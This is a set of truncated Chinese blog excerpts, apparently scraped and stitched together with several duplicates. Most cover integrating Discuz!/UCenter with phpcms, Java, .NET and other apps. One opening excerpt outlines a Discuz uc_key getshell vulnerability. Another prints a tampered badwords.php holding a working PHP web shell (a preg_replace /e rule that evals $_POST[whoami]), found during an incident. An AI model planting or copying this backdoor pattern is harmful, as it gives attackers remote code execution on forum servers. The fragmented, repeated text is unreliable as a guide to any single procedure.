目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在Discuz中,uc_key是UC客户端与服务端通信的通信密钥.因此使用uc_key来fetch shell只能获取UCenter Client的webshell,即Discuiz!论坛的webshell Relevant Link: http://www.wooyun.org/bugs/wooyun-2014-048137 2. 漏洞触发条件 . 必须知道UC_KEY,通常在

一.漏洞起源 突然有同事反馈,无法注册 看到这里不了解的同行估计一年懵逼,这里也是常用的漏洞攻击,可以肯定的是  badwords.php文件被修改了 ,可以查看这个文件内容 <?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );

整合原理: UCenter 作服务端:phpsso 与 Discuz! 分别作 UCenter 的客户端应用:phpsso 与 Discuz! 通过 UCenter 发生交互. phpcms 通过 phpsso 与 Discuz! 发生交互. 第一步:安装 phpcms V9 .安装 Discuz! X2 (同时安装 UCenter). 第二步:在 UCenter 中添加“phpsso 应用”. 1.管理员登录 Discuz! X2 管理中心,进入“UCenter”,点击“应用管理”. 2.点击

代码:$_userid 用户id $_username 用户名 $_areaid 地区id $_groupid 用户组id $_modelid $_amount 用户资金 $_point 用户点数 $_message $_email 用户email 有关模型信息变量:代码: $MODEL[$modelid][modelid] 模型id $MODEL[$modelid][name] 模型名称 $MODEL[$modelid][tablename] 模型表 $MODEL[$modelid][item

网络上文章很多,按步骤配置好了之后phpcms可以同步登录dz,但是dz登录后状态却无法同步到phpcms,网络上找了很多资料都大同小异,头大.只能自己调试了,废话不多说了.       以下网络上抄的安装步骤,留着自己用,有安装过的可跳过.       第一步:安装 phpcms V9 .安装 Discuz! X3.1 (同时安装 UCenter). 第二步:在 UCenter 中添加“phpsso 应用”. 1.管理员登录 Discuz! X3.1 管理中心,进入“UCenter”,点击“应

网络上文章很多,按步骤配置好了之后phpcms可以同步登录dz,但是dz登录后状态却无法同步到phpcms,网络上找了很多资料都大同小异,头大.只能自己调试了,废话不多说了.       以下网络上抄的安装步骤,留着自己用,有安装过的可跳过.       第一步:安装 phpcms V9 .安装 Discuz! X3.1 (同时安装 UCenter). 第二步:在 UCenter 中添加“phpsso 应用”. 1.管理员登录 Discuz! X3.1 管理中心,进入“UCenter”,点击“应

Phpcms所有系统变量列表 用户变量: view plaincopy to clipboardprint? $_userid    用户id   $_username 用户名   $_areaid   地区id   $_groupid 用户组id   $_modelid     $_amount 用户资金   $_point 用户点数   $_message     $_email 用户email $_userid    用户id $_username 用户名 $_areaid   地区id

经过测试仍然有问题,phpcms登陆,论坛可以实现同步登陆,但论坛登陆phpcms无法同步登陆.但总体来说也能使用了.如果有更好的方法欢迎补充. 整合原理: UCenter 作服务端:phpsso 与 Discuz! 分别作 UCenter 的客户端应用:phpsso 与 Discuz! 通过 UCenter 发生交互.phpcms 通过 phpsso 与 Discuz! 发生交互. 第一步:安装 phpcms V9 .安装 Discuz! X3.0 (同时安装 UCenter). 第二步:在

很多站长第一次做网站的时候,无奈选择了速度不是很稳定的空间,慢慢会发现有很多物美价廉速度相当快的空间 这个时候,站长在网站搬家的过程中就会遇到很多困难,今天老袋鼠给大家详细讲解一下discuz论坛搬家的详细过程 第一步:备份网站数据 进入后台—站长—数据库—备份,数据备份类型选择“Discuz!和 UCenter数据”,备份成功以后,数据自动保存在data文件夹下. 第二步:网站文件下载 把整个网站文件打包(虚拟主机管理控制面板一般都有整站压缩和解压的功能,在控制面板选择压缩,压缩之后的文件一般

由于项目需要,需要用到discuz论坛用户的数据,所以想到利用ucenter获取数据.以下为整合ucenter的过程. 1.首先你需要下载官方demo:http://faq.comsenz.com/library/UCenter/example/examples.zip.把该demo下载放到你需要整合数据的目录那里. 2.登录你的管理员管理后台,都是discuz根目录下的admin.php,然后分别点击ucenter,再登录一次,点击应用管理,选择添加应用.输入以下参数. 3.设置下载下来的官方

最近笔者在实现Java项目对discuz的整合.在此过程中,查了很多这方面的资料,发现网上并没有说得比较全面的文章.笔者博取众长以及自己在此过程中遇到的问题,写下来供大家参考,希望大家可以在这过程中少走弯路.笔者在此过程中主要参考了https://code.google.com/p/discuz-ucenter-api-for-java/后,感谢作者ping china.大家可以到此下载接口. 第一步:写好你的配置文件config.properties.(把这个文件放J2EE工程的源路径下就行)

所谓单点登录,无非就是几个站点共用一个用户中心,实现同步登陆,同步退出. 服务器端:Loog SSO . 客服端: ucenter,说实话dz商业化确实让php发展了不少. ucenter 基本原理:其实最终还是 用户去登录 只是采用了ajax 用户不会发现. 我们来看看和ucenter的具体程序:config.php PHP代码 define('UC_CONNECT', 'mysql');    // 连接 UCenter 的方式: mysql/NULL, 默认为空时为fscoketopen(

最近公司项目要用到SNS,在具体采取解决方案上面由于项目由一实力较强的外包公司做,所以没有采用商业解决方案.不过本人一直比较看好康盛的产 品,因为被外派到外包公司去负责项目,尽管以前用的SNS也在不少,也曾对SNS进行过插件开发以及整合,不过还真没彻底搞透UCenter的灵活应用. 这不找了一些资料研究研究.听说最近UCHome都上2.0了,好像上半年还用的是1.5的呢...                     武汉百度公司          PS:感觉博客里面加点图片装饰一下还是挺好看的.

最近公司网站要出手机版,由于与论坛要有互通,实现会员的共享,由于对discuz不熟悉,起先考虑的是直接读取discuz的用户表,然后进行判断等操作,发现过于复杂,而且安全也不好. 前一段时间进行过论坛与商城的整合,采用的书ucenter进行整 合,很方便,不仅可以实现用户的整合,而且能够实现积分互换等操作,但是这种整合是已经在两者的系统中有过预置的,比较方便.如果能够将ucenter应 用到外部任意的自定义网站中会十分的方便,其实ucenter是有这种强大的能力的 我在本机搭建的测试环境时Dis

标题有点问题,没有进行修改. 一 Discuz论坛搭建步骤 1:服务器环境配置 服务器要支持php语言+支持mysql 5.0以上的数据库 + Apache服务器(支持网站的一个服务器,通过域名的能访问就可以了) Msql5.0以上的数据库一个. 2:安装Discuz (1)下载Discuz源码包http://www.discuz.net/thread-3570835-1-1.html (2)解压源码包Discuz_X3.2_SC_GBK.zip(这里以Discuz X3/2为例)有三个文件,把

经历了一天的折腾,大概搞清楚的ucenter接入应用的方法.总结如下: 一.下载安装ucenter.这个很简单. 二.然后就是接入应用. 1.先在你项目的根目录copy一份uc_client文件夹. 2.然后创建config.inc.php配置相关选项(没有就建立).这个文件是让uc.php用的.所以路径放在uc.php能读到的路径就行. define('UC_CONNECT', 'mysql'); // 连接 UCenter 的方式: mysql/NULL, 默认为空时为 fscoketope

discuz自带ucenter,主要就是用于和其他程序的通信.我们可以下载discuz的ucenter开发手册进行magento和discuz的集成.里面有一些ucenter的一些接口函数和参数说明,没有这个文档,最模板就无法进行下面: 1.把api和uc_client目录放在应用程序的跟目录. 2.修改自己的配置文件(application/config/config.ini),在最后加上下面的代码:代码如下 [ucenter]uc.UC_ON = 0uc.UC_CONNECT = mysql

先看一下效果

利用UCenter实现discuz论坛和应用网站同步登录和退出功能 测试环境:Discuz! X3.2.UCenter 1.6..Net Framework 4.0 进入Discuz 后台的UCenter应用管理页面   UCenter 添加新应用 安装方式选择自定义安装.应用类型为其他.通信密钥可以自定义.开启同步登录和通知   添加新应用 集成UCenter API For DotNet   UC配置信息 把DS.Web.UCenter添加到项目中 修改项目App.Config配置信息: U

在写这篇文章的时候,我还在想,这篇文章也许能给你带来一些收获,但或许会令你更加的迷茫,为什么会这样?因为:1.UCenter虽然足够强大,但正为它的强大,它的不少暗箱操作使得我们望而生畏,我们不害怕出错,我们害怕出错时抓不到出错点.2.同步登录经常会跨平台,跨服务器,跨域,跨数据库等.环境要求比较高,这使得我们需要更多地了解它. 最近公司弄了个团购项目,要求团购的用户和论坛的会员同步起来,以期实现优质会员享受更低折扣等功能.这个项目正是以asp.net开发,当然,在这里要非常感谢同步API的原作